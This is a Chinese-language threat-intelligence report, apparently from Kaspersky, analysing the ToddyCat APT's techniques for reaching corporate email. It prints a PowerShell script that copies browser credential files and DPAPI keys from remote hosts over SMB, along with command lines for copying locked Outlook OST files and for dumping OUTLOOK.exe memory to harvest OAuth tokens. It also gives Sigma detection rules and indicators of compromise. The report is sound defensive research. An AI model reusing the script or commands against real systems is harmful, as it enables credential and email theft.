ToddyCat:你的隐藏邮件助手。第一部分
电子邮件仍然是组织内业务通信的主要方式。它可以通过本地基础设施(例如,部署Microsoft Exchange Server)或通过云邮件服务(如Microsoft 365或Gmail)进行设置。然而,一些组织不提供对其云电子邮件的域级访问。因此,已入侵域的攻击者无法自动访问电子邮件通信,必须采用其他技术来阅读邮件。
本研究描述了ToddyCat APT如何改进其方法,以隐秘访问目标公司员工的业务通信。在第一部分中,我们回顾了2024年下半年和2025年初发生的事件。在报告的第二部分,我们将详细关注攻击者如何将其努力的结果实现为新的攻击向量。这种攻击使对手能够利用用户的浏览器获取OAuth 2.0授权令牌。然后,这些令牌可以在受入侵基础设施的边界之外使用,以访问企业电子邮件。
有关此威胁的更多信息,包括入侵指标,可供卡巴斯基情报报告服务的客户使用。联系方式:intelreports@kaspersky.com。
TomBerBil in PowerShell
在之前关于ToddyCat组织的文章中,我们描述了TomBerBil工具家族,这些工具旨在从用户主机上的浏览器中提取Cookie和保存的密码。这些工具是用C#和C++编写的。
然而,对2024年5月至6月事件的分析揭示了一个用PowerShell实现的新变种。它保留了先前样本的核心恶意功能,但采用了不同的实现方法并包含了新的命令。
此版本的一个关键特点是,它在域控制器上以特权用户身份执行,通过SMB协议访问共享网络资源上的浏览器文件。
除了支持Chrome和Edge浏览器外,新版本还增加了对Firefox浏览器文件的处理。
该工具通过计划任务启动,执行以下命令行:
1
|
powershell -exec bypass -command "c:\programdata\ip445.ps1"
|
脚本首先创建一个新的本地目录,该目录在$baseDir变量中指定。该工具将其收集的所有数据保存到此目录中。
1
2
3
4
5
6
|
$baseDir = 'c:\programdata\temp\'
try{
New-Item -ItemType directory -Path $baseDir | Out-Null
}catch{
}
|
脚本定义了一个名为parseFile的函数,该函数以完整文件路径作为参数。它打开C:\programdata\uhosts.txt文件,并使用.NET Framework类逐行读取其内容,将结果作为字符串数组返回。这就是脚本形成主机名数组的方式。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
function parseFile{
param(
[string]$fileName
)
$fileReader=[System.IO.File]::OpenText($fileName)
while(($line = $fileReader.ReadLine()) -ne $null){
try{
$line.trim()
}
catch{
}
}
$fileReader.close()
}
|
对于数组中的每个主机,脚本尝试建立到共享资源c$的SMB连接,构造\\<hostname>\c$\users\格式的路径。如果连接成功,该工具将检索远程主机上存在的用户目录列表。如果至少找到一个目录,则在$baseDir工作目录内为该主机创建一个单独的文件夹:
1
2
3
4
5
6
7
8
9
10
|
foreach($myhost in parseFile('c:\programdata\uhosts.txt')){
$myhost=$myhost.TrimEnd()
$open=$false
$cpath = "\\{0}\c$\users\" -f $myhost
$items = @(get-childitem $cpath -Force -ErrorAction SilentlyContinue)
$lpath = $baseDir + $myhost
try{
New-Item -ItemType directory -Path $lpath | Out-Null
}catch{
}
|
在下一阶段,脚本遍历在远程主机上发现的用户文件夹,跳过$filter_users变量中指定的任何文件夹,该变量在工具启动时定义。对于其余文件夹,在脚本的工作文件夹中创建三个目录,用于收集来自Google Chrome、Mozilla Firefox和Microsoft Edge的数据。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
$filter_users = @('public','all users','default','default user','desktop.ini','.net v4.5','.net v4.5 classic')
foreach($item in $items){
$username = $item.Name
if($filter_users -contains $username.tolower()){
continue
}
$upath = $lpath + '\' + $username
try{
New-Item -ItemType directory -Path $upath | Out-Null
New-Item -ItemType directory -Path ($upath + '\google') | Out-Null
New-Item -ItemType directory -Path ($upath + '\firefox') | Out-Null
New-Item -ItemType directory -Path ($upath + '\edge') | Out-Null
}catch{
}
|
接下来,该工具使用默认账户在远程主机上搜索以下Chrome和Edge浏览器文件:
- Login Data:一个数据库文件,包含用户保存的网站登录名和密码,采用加密格式。
- Local State:一个JSON文件,包含用于加密存储数据的加密密钥。
- Cookies:一个数据库文件,存储用户访问过的所有网站的HTTP Cookie。
- History:存储浏览器历史记录的数据库。
这些文件通过SMB复制到相应用户和浏览器文件夹层次结构内的本地文件夹。以下是复制Login Data文件的代码片段:
1
2
3
4
5
6
7
8
|
$googlepath = $upath + '\google\'
$firefoxpath = $upath + '\firefox\'
$edgepath = $upath + '\edge\'
$loginDataPath = $item.FullName + "\AppData\Local\Google\Chrome\User Data\Default\Login Data"
if(test-path -path $loginDataPath){
$dstFileName = "{0}\{1}" -f $googlepath,'Login Data'
copy-item -Force -Path $loginDataPath -Destination $dstFileName | Out-Null
}
|
同样的过程也适用于Firefox文件,该工具还会遍历浏览器的所有用户配置文件文件夹。脚本搜索$firefox_files数组中包含类似信息的文件,而不是上述Chrome和Edge的文件。所需的文件也被复制到工具的本地文件夹。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
$firefox_files = @('key3.db','signons.sqlite','key4.db','logins.json')
$firefoxBase = $item.FullName + '\AppData\Roaming\Mozilla\Firefox\Profiles'
if(test-path -path $firefoxBase){
$profiles = @(get-childitem $firefoxBase -Force -ErrorAction SilentlyContinue)
foreach($profile in $profiles){
if(!(test-path -path ($firefoxpath + '\' + $profile.Name))){
New-Item -ItemType directory -Path ($firefoxpath + '\' + $profile.Name) | Out-Null
}
foreach($firefox_file in $firefox_files){
$tmpPath = $firefoxBase + '\' + $profile.Name + '\' + $firefox_file
if(test-path -Path $tmpPath){
$dstFileName = "{0}\{1}\{2}" -f $firefoxpath,$profile.Name,$firefox_file
copy-item -Force -Path $tmpPath -Destination $dstFileName | Out-Null
}
}
}
}
|
复制的文件使用数据保护API(DPAPI)进行加密。先前版本的TomBerBil在主机上运行并复制用户的令牌。因此,在用户的当前会话中,DPAPI用于解密主密钥,随后解密文件。更新后的服务器端版本的TomBerBil复制了包含DPAPI使用的用户加密密钥的文件。这些密钥与用户的SID和密码相结合,使攻击者能够在本地解密所有复制的文件。
1
2
3
4
5
6
|
if(test-path -path ($item.FullName + '\AppData\Roaming\Microsoft\Protect')){
copy-item -Recurse -Force -Path ($item.FullName + '\AppData\Roaming\Microsoft\Protect') -Destination ($upath + '\') | Out-Null
}
if(test-path -path ($item.FullName + '\AppData\Local\Microsoft\Credentials')){
copy-item -Recurse -Force -Path ($item.FullName + '\AppData\Local\Microsoft\Credentials') -Destination ($upath + '\') | Out-Null
}
|
借助TomBerBil,攻击者自动收集用户Cookie、浏览历史和保存的密码,同时复制解密浏览器文件所需的加密密钥。到受害者远程主机的连接通过SMB协议建立,这显著增加了检测该工具活动的难度。
通常,此类工具是在攻击者已在组织内部基础设施中建立持久性并获取特权访问之后的后期阶段部署的。
检测
为了检测此攻击的实现,有必要设置对浏览器文件夹访问的审计,并监控对这些文件夹的网络协议连接尝试。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
title: Access To Sensitive Browser Files Via Smb
id: 9ac86f68-9c01-4c9d-897a-4709256c4c7b
status: experimental
description: Detects remote access attempts to browser files containing sensitive information
author: Kaspersky
date: 2025-08-11
tags:
- attack.credential-access
- attack.t1555.003
logsource:
product: windows
service: security
detection:
event:
EventID: '5145'
chromium_files:
ShareLocalPath|endswith:
- '\User Data\Default\History'
- '\User Data\Default\Network\Cookies'
- '\User Data\Default\Login Data'
- '\User Data\Local State'
firefox_path:
ShareLocalPath|contains: '\AppData\Roaming\Mozilla\Firefox\Profiles'
firefox_files:
ShareLocalPath|endswith:
- 'key3.db'
- 'signons.sqlite'
- 'key4.db'
- 'logins.json'
condition: event and (chromium_files or firefox_path and firefox_files)
falsepositives: Legitimate activity
level: medium
|
此外,还需要审计对存储DPAPI加密密钥文件的文件夹的访问。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
title: Access To System Master Keys Via Smb
id: ba712364-cb99-4eac-a012-7fc86d040a4a
status: experimental
description: Detects remote access attempts to the Protect file, which stores DPAPI master keys
references:
- https://www.synacktiv.com/en/publications/windows-secrets-extraction-a-summary
author: Kaspersky
date: 2025-08-11
tags:
- attack.credential-access
- attack.t1555
logsource:
product: windows
service: security
detection:
selection:
EventID: '5145'
ShareLocalPath|contains: 'windows\System32\Microsoft\Protect'
condition: selection
falsepositives: Legitimate activity
level: medium
|
从Outlook窃取电子邮件
改进后的TomBerBil工具家族在规避监控工具方面效果不佳,迫使威胁行为者寻找其他方法来访问组织的关键数据。我们发现了一种试图访问Outlook本地存储中的企业通信文件的尝试。
Outlook应用程序存储OST(脱机存储表)文件以供脱机使用。这些文件的名称包含被缓存邮箱的地址。Outlook使用OST文件存储与邮件服务器(Microsoft Exchange、Microsoft 365或Outlook.com)同步的数据的本地副本。此功能允许用户脱机处理电子邮件、日历、联系人和其他数据,然后在连接恢复后与服务器同步更改。
然而,在Outlook运行时,应用程序会阻止对OST文件的访问。为了复制该文件,攻击者创建了一个名为TCSectorCopy的专用工具。
TCSectorCopy
该工具设计用于按块复制可能被应用程序或操作系统无法访问的文件,例如在使用时被锁定的文件。
该工具是一个用C++编写的32位PE文件。启动后,它处理通过命令行传递的参数:要复制的源文件路径和应保存结果的目标路径。然后,该工具验证源路径与目标路径是否不同。
接下来,该工具收集有关托管要复制的文件的磁盘的信息:它确定簇大小、文件系统类型以及低级读取所需的其他参数。
然后,TCSectorCopy以只读模式将磁盘作为设备打开,并绕过标准Windows API逐块顺序复制文件内容。这允许该工具复制甚至被系统或其他应用程序锁定的文件。
攻击者将此工具上传到目标主机,并使用它来复制用户OST文件:
1
|
xCopy.exe C:\Users\<user>\AppData\Local\Microsoft\Outlook\<email>@<domain>.ost <email>@<domain>.ost2
|
获取OST文件后,攻击者使用单独的工具处理它们以提取电子邮件通信内容。
XstReader
XstReader是一个用C#编写的开源工具,用于查看和导出Microsoft Outlook OST和PST文件的内容。攻击者使用XstReader导出先前复制的OST文件的内容。
XstReader使用-e参数和已复制文件的路径执行。-e参数指定将所有邮件及其附件以HTML、RTF和TXT格式导出到当前文件夹。
1
|
XstExport.exe -e <email>@<domain>.ost2
|
从OST文件导出数据后,攻击者查看获取的文件列表,将感兴趣的文件收集到存档中,然后进行外泄。
检测
为了检测对Outlook OST文件的未经授权访问,有必要设置对%LOCALAPPDATA%\Microsoft\Outlook\文件夹的审计,并监控对扩展名为.ost的文件的访问事件。必须将Outlook进程和其他合法使用此文件的进程从审计中排除。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
title: Access To Outlook Ost Files
id: 2e6c1918-08ef-4494-be45-0c7bce755dfc
status: experimental
description: Detects access to the Outlook Offline Storage Table (OST) file
author: Kaspersky
date: 2025-08-11
tags:
- attack.collection
- attack.t1114.001
logsource:
product: windows
service: security
detection:
event:
EventID: 4663
outlook_path:
ObjectName|contains: '\AppData\Local\Microsoft\Outlook\'
ost_file:
ObjectName|endswith: '.ost'
condition: event and outlook_path and ost_file
falsepositives: Legitimate activity
level: low
|
TCSectorCopy工具通过磁盘设备访问OST文件,因此要检测它,监控Sysmon中的事件ID 9(RawAccessRead)非常重要。这些事件表明绕过文件系统直接从磁盘读取。
如前所述,TCSectorCopy通过命令行接收OST文件的路径。因此,检测此工具的恶意活动需要监控特定的OST文件命名模式:文件名中的@符号和.ost扩展名。
从Outlook窃取访问令牌
由于在主机上主动收集文件的行为很容易使用监控系统进行跟踪,攻击者的下一步是在未执行监控的主机之外获得对电子邮件的访问权限。一些目标组织使用Microsoft 365云办公套件。攻击者试图获取驻留在使用此云服务的进程内存中的访问令牌。
在Microsoft 365用于授权的OAuth 2.0协议中,访问令牌在向服务器请求资源时使用。在Outlook中,它在向云服务请求电子邮件及其附件时在API请求中指定。它的缺点是寿命相对较短;然而,这可能足以在绕过监控工具的同时从邮箱中检索所有电子邮件。
访问令牌使用JWT(JSON Web令牌)标准存储。令牌内容使用Base64编码。Microsoft应用程序的JWT标头总是首先指定值为JWT的typ参数。这意味着编码令牌的前18个字符将始终相同。
攻击者使用SharpTokenFinder从用户的Outlook应用程序中获取访问令牌。此工具用C#编写,旨在搜索与Microsoft 365套件关联的进程中的访问令牌。启动后,该工具在系统中搜索以下进程:
- “TEAMS”
- “WINWORD”
- “ONENOTE”
- “POWERPNT”
- “OUTLOOK”
- “EXCEL”
- “ONEDRIVE”
- “SHAREPOINT”
如果找到这些进程,该工具会尝试使用OpenProcess函数打开每个进程的对象并转储其内存。为此,该工具从dbghelp.dll文件导入MiniDumpWriteDump函数,该函数将用户模式小型转储信息写入指定文件。转储文件保存在位于当前SharpTokenFinder目录中的dump文件夹中。为进程创建转储文件后,该工具在每个文件中搜索以下字符串模式:
1
|
"eyJ0eX[a-zA-Z0-9\._\-]+"
|
此模板使用编码JWT令牌的前六个符号,这些符号始终相同。其结构由点分隔。这足以在进程内存转储中找到必要的字符串。
在所描述的事件中,本地安全工具(EPP)阻止了使用SharpTokenFinder创建OUTLOOK.exe进程转储的尝试,因此操作员为此使用了Sysinternals套件中的ProcDump:
1
2
3
|
procdump64.exe -accepteula -ma OUTLOOK.exe
dir c:\windows\temp\OUTLOOK.EXE_<id>.dmp
c:\progra~1\winrar\rar.exe a -k -r -s -m5 -v100M %temp%\dmp.rar c:\windows\temp\OUTLOOK.EXE_<id>.dmp
|
在这里,操作员使用以下参数执行了ProcDump:
accepteula 在不显示协议窗口的情况下静默接受许可协议。
ma 表示应创建完整的进程转储。
exe 是要转储的进程的名称。
然后执行dir命令作为检查,以确认文件已创建且大小不为零。经过此验证后,使用WinRAR将文件添加到dmp.rar存档中。攻击者通过SMB将此文件发送到他们的主机。
检测
要检测此技术,有必要监控ProcDump进程命令行中属于Microsoft 365应用程序进程的名称。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
title: Dump Of Office 365 Processes Using Procdump
id: 5ce97d80-c943-4ac7-8caf-92bb99e90e90
status: experimental
description: Detects Office 365 process names in the command line of the procdump tool
author: kaspersky
date: 2025-08-11
tags:
- attack.lateral-movement
- attack.defense-evasion
- attack.t1550.001
logsource:
category: process_creation
product: windows
detection:
selection:
Product: 'ProcDump'
CommandLine|contains:
- 'teams'
- 'winword'
- 'onenote'
- 'powerpnt'
- 'outlook'
- 'excel'
- 'onedrive'
- 'sharepoint'
condition: selection
falsepositives: Legitimate activity
level: high
|
以下是使用Sysinternals包的ProcDump工具转储Outlook进程内存的示例,由卡巴斯基反针对性攻击平台(KATA)检测到。
要点
本文回顾的事件表明,ToddyCat APT不断发展其技术,并寻求新的方法来隐藏其旨在获取受入侵基础设施内企业通信访问权限的活动。本文描述的大多数技术都可以被成功检测。为了及时识别这些技术,我们建议同时使用基于主机的EPP解决方案(如卡巴斯基端点安全商业版)和复杂的威胁监控系统(如卡巴斯基反针对性攻击平台)。有关威胁和相应检测规则的全面、最新信息,我们推荐卡巴斯基威胁情报。
入侵指标
恶意文件
1
2
3
|
55092E1DEA3834ABDE5367D79E50079A ip445.ps1
2320377D4F68081DA7F39F9AF83F04A2 xCopy.exe
B9FDAD18186F363C3665A6F54D51D3A0 stf.exe
|
非病毒文件
1
|
49584BD915DD322C3D84F2794BB3B950 XstExport.exe
|
文件路径
1
2
3
4
|
C:\programdata\ip445.ps1
C:\Windows\Temp\xCopy.exe
C:\Windows\Temp\XstExport.exe
c:\windows\temp\stf.exe
|
PDB
1
|
O:\Projects\Penetration\Tools\SectorCopy\Release\SectorCopy.pdb
|